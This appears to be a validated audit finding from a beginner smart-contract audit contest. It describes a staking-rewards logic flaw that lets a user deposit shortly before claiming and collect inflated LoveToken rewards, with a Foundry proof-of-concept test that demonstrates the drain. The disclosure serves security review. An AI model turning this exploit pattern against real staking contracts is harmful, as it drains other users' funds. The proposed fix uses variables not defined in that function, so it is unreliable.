Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

**Operational Logic error leading to draining of funds**

  • Operational Logic error leading to draining of funds

    • Description:

    • If a user deposits 1 LoveToken in the Staking pool in week one without withdrawing, and deposits 10 LoveToken in week 6 and then claimRewards, the piece of code below will give him the rewards for the total 11 LoveToken during the six weeks period and not only 6 LoveToken for the first deposit.

      @> uint256 timeInWeeksSinceLastClaim = ((block.timestamp -
      lastClaim[msg.sender]) / 1 weeks);
      if (timeInWeeksSinceLastClaim < 1)
      revert Staking__StakingPeriodTooShort();
      lastClaim[msg.sender] = block.timestamp;
      // Send the same amount of LoveToken as the week waited times the number of token staked
      @> uint256 amountToClaim = userStakes[msg.sender] *
      timeInWeeksSinceLastClaim;
      loveToken.transferFrom(
      address(stakingVault),
      msg.sender,
      amountToClaim
      );
    • Impact:

    • A malicious user could accumulate a considerable amount of LoveToken, deposit, and withdraw in a small period of time multiplying the real rewards available for his address.

    • Proof of Code:

      Add the code below into `StakingTest.t.sol`
      function test_ClaimRewardsPoC() public {
      uint balance = 11 ether;
      _giveLoveTokenToSoulmates(balance);
      uint balancePerSoulmates = 1 ether;
      uint256 secondBalancePerSoulmates = 10 ether;
      uint weekOfStaking = 5;
      vm.startPrank(soulmate1);
      loveToken.approve(address(stakingContract), balancePerSoulmates);
      stakingContract.deposit(balancePerSoulmates);
      vm.stopPrank();
      vm.warp(block.timestamp + weekOfStaking * 1 weeks + 1 seconds);
      vm.startPrank(soulmate1);
      loveToken.approve(address(stakingContract), secondBalancePerSoulmates);
      stakingContract.deposit(secondBalancePerSoulmates);
      vm.stopPrank();
      vm.prank(soulmate1);
      stakingContract.claimRewards();
      uint256 rewardsOfSixWeeksAfterDeposit = 66 ether;
      uint256 realBalance = loveToken.balanceOf(soulmate1);
      assertTrue(
      realBalance == rewardsOfSixWeeksAfterDeposit
      );
      }
    • Recommendation:

      Recommended measures bellow
      + mapping(address owner => uint256 rewards) private s_rewards;
      function deposit(uint256 amount) public {
      if (loveToken.balanceOf(address(stakingVault)) == 0)
      revert Staking__NoMoreRewards();
      // No require needed because of overflow protection
      + s_rewards[msg.sender] = userStakes[msg.sender] * timeInWeeksSinceLastClaim;
      + lastClaim[msg.sender] = soulmateContract.idToCreationTimestamp(soulmateId);
      userStakes[msg.sender] += amount;
      loveToken.transferFrom(msg.sender, address(this), amount);
      emit Deposited(msg.sender, amount);
      }
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claimRewards-multi-deposits-time

High severity, this allows users to claim additional rewards without committing to intended weekly staking period via multi-deposit/deposit right before claiming rewards.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.